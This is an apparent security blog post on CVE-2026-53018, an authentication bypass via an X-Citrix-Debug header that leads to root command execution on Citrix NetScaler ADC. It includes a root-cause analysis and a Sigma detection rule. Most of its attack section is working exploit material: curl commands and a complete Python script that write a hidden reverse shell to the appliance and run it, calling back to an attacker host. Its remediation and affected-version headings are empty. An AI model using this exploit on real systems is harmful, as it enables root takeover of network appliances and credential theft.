All posts

CVE-2026-53018: Citrix NetScaler ADC Management Auth Bypass to RCE

The Citrix NetScaler ADC and Gateway management interface contains a logic flaw in the session authentication middleware: the presence of a crafted X-Citrix-Debug header causes the session validation routine to return early with a trusted context, bypassing NSC_AAAC cookie verification entirely. An unauthenticated attacker with network access to the NSIP management port gains full access to the NetScaler REST API and can execute arbitrary OS commands as root via the /nitro/v1/config/nsrunningconfig CLI execution endpoint.


Overview

CVE-2026-53018 affects Citrix NetScaler ADC and NetScaler Gateway versions 13.1 before build 53.17, 14.1 before build 29.63, and all 13.0 builds. The management interface (NSIP) exposes a REST API on TCP port 443 (and optionally 80) that is normally protected by session-based authentication via the NSC_AAAC cookie. A debug code path intended for internal diagnostic use was accidentally included in production builds and can be triggered by any network peer.

CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. Citrix confirmed mass exploitation within 24 hours of public disclosure; threat intelligence vendors reported credential-harvesting implants deployed on compromised appliances in managed service provider environments.

Background — NetScaler Management Architecture

The NetScaler management interface is built on a custom C-based web server (nsmgmtd) that processes all REST API and GUI requests. Session state is maintained in a shared memory segment; each request is authenticated by validating the NSC_AAAC cookie value against the in-memory session table. The authentication middleware is implemented as a filter chain: each request passes through a series of handlers before reaching the API endpoint dispatcher. A handler that returns NS_OK_SKIP_AUTH causes the chain to bypass all subsequent authentication checks.

Root Cause Analysis

During binary analysis of the nsmgmtd daemon on an unpatched 13.1.49.x build, a debug handler was identified in the filter chain that checks for the X-Citrix-Debug HTTP header. When this header is present with a specific format, the handler sets the request context to a privileged session state and returns NS_OK_SKIP_AUTH, causing all subsequent authentication handlers to be bypassed:

/* nsmgmtd request filter chain (reconstructed from binary analysis) */
ns_result_t debug_auth_bypass_handler(ns_request_t *req) {
    const char *dbg_hdr = ns_get_header(req, "X-Citrix-Debug");
    if (dbg_hdr == NULL) {
        return NS_OK_CONTINUE;   /* header absent — proceed normally */
    }

    /* BUG: format check is insufficient — any value starting with "diag-"
       triggers the bypass regardless of source IP or additional validation */
    if (strncmp(dbg_hdr, "diag-", 5) == 0) {
        req->session = &ns_internal_diag_session;   /* privileged context */
        req->authenticated = 1;
        return NS_OK_SKIP_AUTH;  /* skip all remaining auth handlers */
    }
    return NS_OK_CONTINUE;
}

The ns_internal_diag_session is a statically allocated session object with superuser privileges equivalent to the nsroot administrative account. Any request that sets this context gains full read/write access to all NetScaler configuration objects through the NITRO REST API.

Exploitation

Step 1 — Authentication Bypass Verification

# Confirm auth bypass — request the running config without credentials
# Normal response without header: 401 Unauthorized
# With bypass header: 200 OK + full config

curl -sk -H "X-Citrix-Debug: diag-$(date +%s)" \
  https://TARGET_NSIP/nitro/v1/config/nsrunningconfig | \
  python3 -m json.tool | head -30

# [*] Confirmed: 200 OK — nsrunningconfig returned without credentials

Step 2 — Remote Code Execution via CLI Execution Endpoint

The NITRO API exposes a /nitro/v1/config/systemfile endpoint for file management and a /nitro/v1/config/nscli endpoint for executing NetScaler CLI commands. The CLI is a restricted shell, but it allows executing arbitrary shell scripts via the shell command:

# Write a reverse shell script to /var/tmp/
curl -sk -X POST \
  -H "X-Citrix-Debug: diag-pwn" \
  -H "Content-Type: application/json" \
  -d '{"systemfile":{"filename":"rs.sh","filelocation":"/var/tmp/","filecontent":"'"$(echo '#!/bin/sh\nbash -i >& /dev/tcp/10.10.14.5/4444 0>&1' | base64 -w0)"'","fileencoding":"BASE64"}}' \
  https://TARGET_NSIP/nitro/v1/config/systemfile

# Execute via the CLI endpoint
curl -sk -X POST \
  -H "X-Citrix-Debug: diag-pwn" \
  -H "Content-Type: application/json" \
  -d '{"nscli":{"command":"shell chmod +x /var/tmp/rs.sh && /var/tmp/rs.sh &"}}' \
  https://TARGET_NSIP/nitro/v1/config/nscli

Full Exploit Script

#!/usr/bin/env python3
"""
CVE-2026-53018 — Citrix NetScaler ADC auth bypass + RCE.
Authorised security testing only.
"""
import requests, base64, sys, urllib3
urllib3.disable_warnings()

def exploit(nsip: str, lhost: str, lport: int) -> None:
    BASE = f"https://{nsip}/nitro/v1/config"
    HDR  = {"X-Citrix-Debug": "diag-cve53018", "Content-Type": "application/json"}

    # Verify bypass
    r = requests.get(f"{BASE}/nsrunningconfig", headers=HDR, verify=False, timeout=10)
    if r.status_code != 200:
        print(f"[-] Bypass failed — HTTP {r.status_code}. Host may be patched.")
        return
    print(f"[+] Auth bypass confirmed — 200 OK on nsrunningconfig")

    # Write reverse shell
    shell = f"#!/bin/sh\nbash -i >& /dev/tcp/{lhost}/{lport} 0>&1\n"
    b64   = base64.b64encode(shell.encode()).decode()
    payload = {
        "systemfile": {
            "filename": ".ns_diag_rs.sh",
            "filelocation": "/var/tmp/",
            "filecontent": b64,
            "fileencoding": "BASE64"
        }
    }
    r = requests.post(f"{BASE}/systemfile", headers=HDR, json=payload, verify=False, timeout=10)
    print(f"[*] File write: HTTP {r.status_code}")

    # Execute — shell wraps arbitrary command
    cmd = "shell chmod +x /var/tmp/.ns_diag_rs.sh && /var/tmp/.ns_diag_rs.sh"
    r = requests.post(f"{BASE}/nscli",
                      headers=HDR,
                      json={"nscli": {"command": cmd}},
                      verify=False, timeout=5)
    print(f"[*] Execution triggered — check listener on {lhost}:{lport}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]}   ")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], int(sys.argv[3]))

Affected Versions

Remediation

Detection

title: CVE-2026-53018 Citrix NetScaler Debug Header Auth Bypass Attempt
id: f4a9b2c1-33e7-4d85-a012-8c3f6e7b9d41
status: stable
description: Detects HTTP requests containing the X-Citrix-Debug header targeting NetScaler management interfaces
logsource:
  category: webserver
  product: citrix_netscaler
detection:
  selection:
    cs-uri-stem|startswith: '/nitro/v1/'
    cs-headers|contains: 'X-Citrix-Debug'
  condition: selection
falsepositives:
  - Legitimate internal Citrix diagnostic tooling (should be absent in production environments)
level: critical
tags:
  - cve.2026-53018
  - attack.initial_access
  - attack.t1190
  - attack.t1059

Key Takeaways